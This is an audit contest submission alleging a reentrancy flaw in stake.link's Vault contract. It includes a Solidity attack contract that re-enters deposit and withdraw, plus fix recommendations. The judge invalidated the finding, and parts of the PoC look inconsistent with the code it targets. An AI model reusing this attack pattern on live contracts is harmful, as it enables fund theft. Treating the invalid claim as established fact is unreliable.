Liquid Staking

Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Submission Details
Severity: high
Invalid

Reentrancy in `_depositLiquidity` and `_withdrawLiquidity` Functions

Summary

The Vault.sol contract within the stake.link platform contains a critical reentrancy vulnerability in its _depositLiquidity and _withdrawLiquidity functions. These functions perform external calls to strategy contracts without implementing reentrancy protection or following the checks-effects-interactions pattern. This flaw can be exploited by malicious or compromised strategy contracts to manipulate crucial state variables, potentially leading to unauthorized token minting, manipulation of staking balances, or draining of funds.

Vulnerability Details

Reentrancy in _depositLiquidity Function

function _depositLiquidity(bytes[] calldata _data) private {
uint256 toDeposit = token.balanceOf(address(this));
if (toDeposit > 0) {
for (uint256 i = 0; i < strategies.length; i++) {
IStrategy strategy = IStrategy(strategies[i]);
uint256 strategyCanDeposit = strategy.canDeposit();
if (strategyCanDeposit >= toDeposit) {
strategy.deposit(toDeposit, _data[i]);
break;
} else if (strategyCanDeposit > 0) {
strategy.deposit(strategyCanDeposit, _data[i]);
toDeposit -= strategyCanDeposit;
}
}
}
}

Explanation:

  • The _depositLiquidity function iterates through the strategies array and calls the deposit function on each strategy contract.

  • These external calls are made before updating any critical state variables, such as totalStaked.

  • There is no reentrancy guard in place, allowing a malicious strategy to re-enter the Vault contract during these external calls.

Reentrancy in _withdrawLiquidity Function

function _withdrawLiquidity(uint256 _amount, bytes[] calldata _data) private {
uint256 toWithdraw = _amount;
for (uint256 i = strategies.length; i > 0; i--) {
IStrategy strategy = IStrategy(strategies[i - 1]);
uint256 strategyCanWithdrawdraw = strategy.canWithdraw();
if (strategyCanWithdrawdraw >= toWithdraw) {
strategy.withdraw(toWithdraw, _data[i - 1]);
break;
} else if (strategyCanWithdrawdraw > 0) {
strategy.withdraw(strategyCanWithdrawdraw, _data[i - 1]);
toWithdraw -= strategyCanWithdrawdraw;
}
}
}

Explanation:

  • Similar to _depositLiquidity, the _withdrawLiquidity function makes external calls to strategy contracts.

  • These calls occur before updating state variables like totalStaked.

  • The absence of reentrancy protection allows for potential reentrant attacks during withdrawals.

Proof of Concept (PoC)

Step 1: Deploy a Malicious Strategy Contract

pragma solidity 0.8.15;
import "../interfaces/IStrategy.sol";
import "../base/Vault.sol";
contract MaliciousStrategy is IStrategy {
Vault public vault;
address public attacker;
constructor(address _vault, address _attacker) {
vault = Vault(_vault);
attacker = _attacker;
}
function deposit(uint256 _amount, bytes calldata _data) external override {
// Re-enter the Vault's deposit function
vault.deposit(attacker, _amount, _data);
}
function withdraw(uint256 _amount, bytes calldata _data) external override {
// Re-enter the Vault's withdraw function
vault.withdraw(attacker, attacker, _amount, _data);
}
// Dummy implementations for other interface functions
function getMaxDeposits() external view override returns (uint256) {}
function getMinDeposits() external view override returns (uint256) {}
function getTotalDeposits() public view override returns (uint256) {}
function getDepositChange() external view override returns (int256) {}
function canDeposit() external view override returns (uint256) {}
}

Explanation:

  • A MaliciousStrategy contract is created that implements the IStrategy interface.

  • In its deposit and withdraw functions, it calls back into the Vault contract's deposit and withdraw functions, enabling reentrancy.

Step 2: Deploy and Initialize the Malicious Strategy

// Assume vault is already deployed and initialized
address vaultAddress = /* Vault contract address */;
address attacker = /* Attacker's address */;
// Deploy the malicious strategy
MaliciousStrategy maliciousStrategy = new MaliciousStrategy(vaultAddress, attacker);
// Add the malicious strategy to the Vault's strategies
vault.addStrategy(address(maliciousStrategy));

Explanation:

  • The MaliciousStrategy is deployed with references to the Vault contract and the attacker's address.

  • The malicious strategy is added to the Vault's strategies, making the Vault interact with it during deposits and withdrawals.

Step 3: Execute the Reentrancy Attack

// Attacker initiates a deposit
uint256 depositAmount = 100 ether;
vault.deposit(attacker, depositAmount, new bytes[](0));

Explanation:

  • The attacker initiates a deposit, triggering the Vault to call strategy.deposit().

  • The MaliciousStrategy's deposit function re-enters the Vault's deposit function before totalStaked is updated.

  • This allows the attacker to manipulate totalStaked and mint extra stLINK tokens.

Step 4: Observe the Exploitation

// Check if totalStaked has been manipulated
uint256 totalStaked = vault.totalStaked();
console.log("Total Staked after attack:", totalStaked);
// Expected: totalStaked should not exceed intended amount
// If reentrancy occurred, totalStaked might be inflated

Explanation:

  • After the attack, totalStaked is checked to verify if it has been improperly increased.

  • An inflated totalStaked indicates successful exploitation of the reentrancy vulnerability.

Impact

  • Financial Loss: Attackers can manipulate totalStaked, mint additional stLINK tokens, or withdraw more funds than permitted, leading to significant financial losses.

  • Token Integrity: Unauthorized minting or burning of tokens undermines the token's integrity and trust within the ecosystem.

  • Fund Drainage: Exploiting this vulnerability can result in draining funds from the contract, affecting all stakeholders.

Tools Used

Manual review

Recommendations

Mitigation Steps and Recommendations

  1. Implement ReentrancyGuard:

    • Import and Inherit:

      import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
      contract Vault is ReentrancyGuard {
      // Existing code...
      }
    • Apply nonReentrant Modifier:

      function deposit(
      address _account,
      uint256 _amount,
      bytes[] calldata _data
      ) external nonReentrant onlyPriorityPool {
      // Function body...
      }
      function withdraw(
      address _account,
      address _receiver,
      uint256 _amount,
      bytes[] calldata _data
      ) external nonReentrant onlyPriorityPool {
      // Function body...
      }
  2. Follow Checks-Effects-Interactions Pattern:

    • Rearrange State Updates:

      • Update state variables before making external calls.

      • Example for deposit function:

        function deposit(
        address _account,
        uint256 _amount,
        bytes[] calldata _data
        ) external nonReentrant onlyPriorityPool {
        require(strategies.length > 0, "Must be > 0 strategies to stake");
        uint256 startingBalance = token.balanceOf(address(this));
        if (_amount > 0) {
        token.safeTransferFrom(msg.sender, address(this), _amount);
        _mint(_account, _amount);
        totalStaked += _amount;
        _depositLiquidity(_data);
        } else {
        _depositLiquidity(_data);
        }
        uint256 endingBalance = token.balanceOf(address(this));
        if (endingBalance > startingBalance && endingBalance > unusedDepositLimit)
        revert InvalidDeposit();
        }
  3. Restrict Strategy Contracts:

    • Access Controls:

      • Ensure only trusted and audited strategy contracts can be added.

      • Modify the addStrategy function to include stringent checks.

        function addStrategy(address _strategy) external onlyOwner {
        require(_strategy != address(0), "Invalid strategy address");
        require(!_strategyExists(_strategy), "Strategy already exists");
        // Optionally, verify the strategy contract's code or signature
        token.safeApprove(_strategy, type(uint256).max);
        strategies.push(_strategy);
        }
Updates

Lead Judging Commences

inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.